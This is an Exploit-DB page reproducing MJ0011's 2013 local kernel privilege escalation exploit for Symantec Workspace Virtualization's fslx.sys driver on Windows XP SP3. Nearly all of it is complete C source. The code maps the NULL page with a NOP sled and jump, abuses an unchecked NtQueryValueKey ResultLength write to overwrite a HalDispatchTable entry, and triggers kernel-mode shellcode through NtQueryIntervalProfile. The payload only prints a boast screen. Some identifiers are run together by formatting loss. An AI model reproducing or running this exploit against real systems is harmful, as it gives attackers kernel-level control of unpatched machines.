Symantec Workspace Virtualization 6.4.1895.0 – Kernel Mode Privilege Escalation

  • 作者: MJ0011
    日期: 2013-07-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/26950/
  • /*
    # Symantec Workspace Virtualization 6.4.1895.0 Local Kernel Mode Privilege Escalation Exploit
    # Date: 2013-7-17
    # Author : MJ0011
    # Version: Symantec Workspace Virtualization 6.4.1895.0
    # Tested on: Windows XP SP3
    
    DETAILS:
    
    In fslx.sys 's hook function of "NtQueryValueKey" , it directly write to the buffer of "ResultLength" without any check
    
    
    EXPLOIT CODE:
    */
    
    
    #include "stdafx.h"
    #include "windows.h"
    typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTRBuffer;
    } UNICODE_STRING;
    typedef UNICODE_STRING *PUNICODE_STRING;
    typedef const UNICODE_STRING *PCUNICODE_STRING;
    typedef LONG
    (WINAPI *pNtQueryValueKey)(
    				 HANDLE KeyHandle,
    				 PUNICODE_STRING ValueName,
    				 ULONG KeyValueInformationClass,
    				PVOID KeyValueInformation,
    				 ULONG Length,
    				 PULONG ResultLength
    );
    typedef 
    LONG (WINAPI *pNtQueryIntervalProfile )(
    						 ULONG ProfileSource,
    						 PULONG Interval
    );
    
    
    typedef LONG
    (WINAPI *pZwQuerySystemInformation) (
    						 ULONG SystemInformationClass,
    						 PVOID SystemInformation,
    						 ULONG SystemInformationLength,
    						 PULONG ReturnLength
    );
    #include "malloc.h"
    PVOID GetInfoTable(ULONG ATableType)
    {
    ULONG mSize = 0x4000;
    PVOID mPtr = NULL;
    LONG status;
    HMODULE hlib = GetModuleHandle("ntdll.dll");
    pZwQuerySystemInformation ZwQuerySystemInformation = (pZwQuerySystemInformation)GetProcAddress(hlib , "ZwQuerySystemInformation");
    do
    {
    mPtr = malloc(mSize);
    if (mPtr)
    {
    
    	status = ZwQuerySystemInformation(ATableType , mPtr , mSize , 0 );
    }
    else
    {
    return NULL;
    }
    if (status == 0xc0000004)
    {
    free(mPtr);
    mSize = mSize * 2;
    }
    } while (status == 0xc0000004);
    if (status == 0)
    {
    return mPtr;
    }
    free(mPtr);
    return NULL;
    }
    enum { SystemModuleInformation = 11,
    SystemHandleInformation = 16 };
    typedef struct {
    ULONG Unknown1;
    ULONG Unknown2;
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT NameLength;
    USHORT LoadCount;
    USHORT PathLength;
    CHARImageName[256];
    } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
    typedef struct {
    ULONG Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
    } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
     
     
     
     
    typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID);
    typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID);
    typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)(
     ULONG x1,
     ULONG y1,
     ULONG x2,
     ULONG y2,
     ULONG color
    );
    typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)(
     ULONG Color
    );
    typedef
    VOID
    (*INBV_DISPLAY_STRING_FILTER)(
     PUCHAR *Str
    );
     
     
    typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)(
    INBV_DISPLAY_STRING_FILTER DisplayStringFilter
    );
    typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)(
    BOOLEAN bEnable
    );
    typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)(
    ULONG x1,
    ULONG y1,
    ULONG x2,
    ULONG y2
    );
    typedef VOID (WINAPI *PINBV_DISPLAY_STRING)(
    PUCHAR Str
    );
    PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ; 
    PINBV_RESET_DISPLAY InbvResetDisplay = 0 ; 
    PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ; 
    PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ; 
    PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ; 
    PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ; 
    PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ; 
    PINBV_DISPLAY_STRING InbvDisplayString= 0 ; 
     
     
    #define VGA_COLOR_BLACK 0
    #define VGA_COLOR_RED 1
    #define VGA_COLOR_GREEN 2
    #define VGA_COLOR_GR 3
    #define VGA_COLOR_BULE 4
    #define VGA_COLOR_DARK_MEGAENTA 5
    #define VGA_COLOR_TURQUOISE 6
    #define VGA_COLOR_GRAY 7
    #define VGA_COLOR_BRIGHT_GRAY 8
    #define VGA_COLOR_BRIGHT_RED 9
    #define VGA_COLOR_BRIGHT_GREEN 10
    #define VGA_COLOR_BRIGHT_YELLOW 11
    #define VGA_COLOR_BRIGHT_BULE 12
    #define VGA_COLOR_BRIGHT_PURPLE 13
    #define VGA_COLOR_BRIGHT_TURQUOISE 14
    #define VGA_COLOR_WHITE 15
    UCHAR DisplayString[] = 
    ""
    ""
    ""
    "---- ===== EXPLOIT SUCCESSFULLY ==== ---- "
    ""
    ""
    " Symantec Workspace Virtualization 6.4.1895.0 Local Privilege Escalation Exploit"
    ""
    " VULNERABLE PRODUCT "
    ""
    " Symantec Workspace Virtualization"
    ""
    ""
    " VULERABLE FILE "
    " fslx.sys <= 6.4.1895.0 "
    ""
    " AUTHOR "
    ""
    " MJ0011 "
    " th_decoder@126.com "
    ""
    " 2013-7-17"
    " Symantec's technology is hundreds of years behind that of us "
    ""
    "";
     
     
    VOID InbvShellCode()
    {
    //DISABLE INTERRUPT
     
     
    __asm
    {
    cli
    }
     
     
    //RESET TO VGA MODE
     
     
    InbvAcquireDisplayOwnership();
     
     
    InbvResetDisplay();
     
     
    //FILL FULL SCREEN
     
     
    InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK);
     
     
    //SET TEXT COLOR
    InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN);
     
     
    InbvInstallDisplayStringFilter(NULL);
     
     
    InbvEnableDisplayString(TRUE);
     
     
    InbvSetScrollRegion( 0 , 0 , 639 ,477);
     
     
    InbvDisplayString(DisplayString);
    while(TRUE)
    {
     
     
    };
     
     
     
     
    }
     
     
    BOOL InbvInit(PVOID ntosbase , PSTR ntosname)
    {
    HMODULE hlib = LoadLibrary(ntosname);
     
     
    if (hlib == NULL)
    {
    return FALSE ; 
    }
     
     
    InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , "InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase);
    InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , "InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase);
    InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , "InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase);
    InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , "InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase);
    InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , "InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase);
    InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
    InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , "InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase);
    InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
     
     
    if (InbvAcquireDisplayOwnership &&
    InbvResetDisplay &&
    InbvSolidColorFill &&
    InbvSetTextColor &&
    InbvInstallDisplayStringFilter &&
    InbvEnableDisplayString &&
    InbvSetScrollRegion &&
    InbvDisplayString)
    {
    return TRUE ; 
    }
    return FALSE ; 
    
    }
    
    typedef LONG (WINAPI *PNT_ALLOCATE_VIRTUAL_MEMORY)(
    												 HANDLE ProcessHandle,
    												 PVOID *BaseAddress,
    												 ULONG ZeroBits,
    												 PSIZE_T RegionSize,
    												 ULONG AllocationType,
    												 ULONG Protect
    );
    #defineProfileTotalIssues2
    
    int main(int argc, char* argv[])
    {
    	printf("Symantec Workspace Virtualization 6.4.1895.0 Local Privilege Escalation Exploit\n"
    		"fslx.sys <= 6.4.1895.0\n"
    		"\nBy MJ0011\n2013-7-17\nth_decoder@126.com\nPRESS ENTER\n");
    	
    	
    	getchar();
    	PSYSTEM_MODULE_INFORMATION pinfo = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
    	if (pinfo==0)
    	{
    		printf("cannot get system info\n");
    		return 0 ; 
    	}
    	if (!InbvInit(pinfo->Module[0].Base , strrchr(pinfo->Module[0].ImageName , '\\') + 1))
    	{
    		printf("cannot init inbv system!\n");
    		return 0 ; 
    	}
    	pNtQueryValueKey NtQueryValueKey = (pNtQueryValueKey)GetProcAddress(GetModuleHandle("ntdll.dll") ,"NtQueryValueKey");
    	
    	//alloc shellcode jump
    	
    	
    	PNT_ALLOCATE_VIRTUAL_MEMORY NTAllocateVM = (PNT_ALLOCATE_VIRTUAL_MEMORY)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory");
    	
    	
    	PVOID BaseAddress = (PVOID)0x1 ; 
    	ULONG dwsize = 0x1000 ; 
    	LONG status ; 
    	status = NTAllocateVM
    		(
    		GetCurrentProcess() , 
    		&BaseAddress , 
    		0 , 
    		&dwsize , 
    		MEM_COMMIT | MEM_RESERVE ,
    		PAGE_READWRITE
    );
    
    	if (status !=0)
    	{
    		printf("err alloc vm %08x\n", status);
    		getchar();
    		return 0 ; 
    	}
    	//result length always <=0x800
    	//0~0x800: NOP
    	//0x800: shell code
    	
    	
    	memset((PVOID)0x0 , 0x90 , 0x1000);
    	*(BYTE*)((ULONG)0x800) = 0xe9 ; 
    	*(ULONG*)((ULONG)0x801) = (ULONG)InbvShellCode - (ULONG)0x800 - 0x5 ; 
     
    	//get haldispatchtable
    	
    	
    	HMODULE hntos = LoadLibrary(strrchr(pinfo->Module[0].ImageName , '\\')+1);
    	if (hntos == 0 )
    	{
    		printf("cannot load ntos\n");
    		getchar();
    		return 0 ; 
    	}
    	PVOID pHalDispatchTable = GetProcAddress(hntos , "HalDispatchTable");
    	pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hntos);
    	pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pinfo->Module[0].Base);
    	PVOID xHalQuerySystemInformationAddr = (PVOID)((ULONG)pHalDispatchTable+ sizeof(ULONG));
    	FreeLibrary(hntos);
     
    	HKEY hkey ; 
    	ULONG err = RegOpenKeyEx(HKEY_CURRENT_USER , "Software" , 0 , KEY_READ , &hkey);
    	
    	
    	if (err!=ERROR_SUCCESS)
    	{
    		printf("open key read failed %u\n" ,err);
    		getchar();
    		return 0 ; 
    	}
    	HKEY hkey2 ; 
    	
    	
    	err = RegOpenKeyEx(HKEY_CURRENT_USER , "Software" , 0 , KEY_WRITE , &hkey2);
    	
    	
    	if (err != ERROR_SUCCESS)
    	{
    		printf("open key write failed %u\n", err);
    		getchar();
    		return 0 ; 
    	}
    	DWORD dd ; 
    	
    	
    	err = RegSetValueEx(hkey2 , "123" , 0 , REG_DWORD , (CONST BYTE*)&dd , sizeof(DWORD));
    	
    	
    	if (err != ERROR_SUCCESS)
    	{
    		printf("set value %u\n" , err);
    		getchar();
    		
    		
    		return 0 ;
    }	BYTE buffer[100];
    	PVOID pbuf = buffer ; 
    
    	UNICODE_STRING name ; 
    	name.Buffer = NULL ; 
    	name.Length = 0 ; 
    	name.MaximumLength=0;
     	 status = NtQueryValueKey(hkey , &name , 2 , pbuf , 100 , (PULONG)xHalQuerySystemInformationAddr );
    
    	//fire our shell code
    	
    	
    	pNtQueryIntervalProfile NtQueryIntervalProfile = (pNtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryIntervalProfile");
    
    	NtQueryIntervalProfile(ProfileTotalIssues , 0 );
    
    	return 0;
    }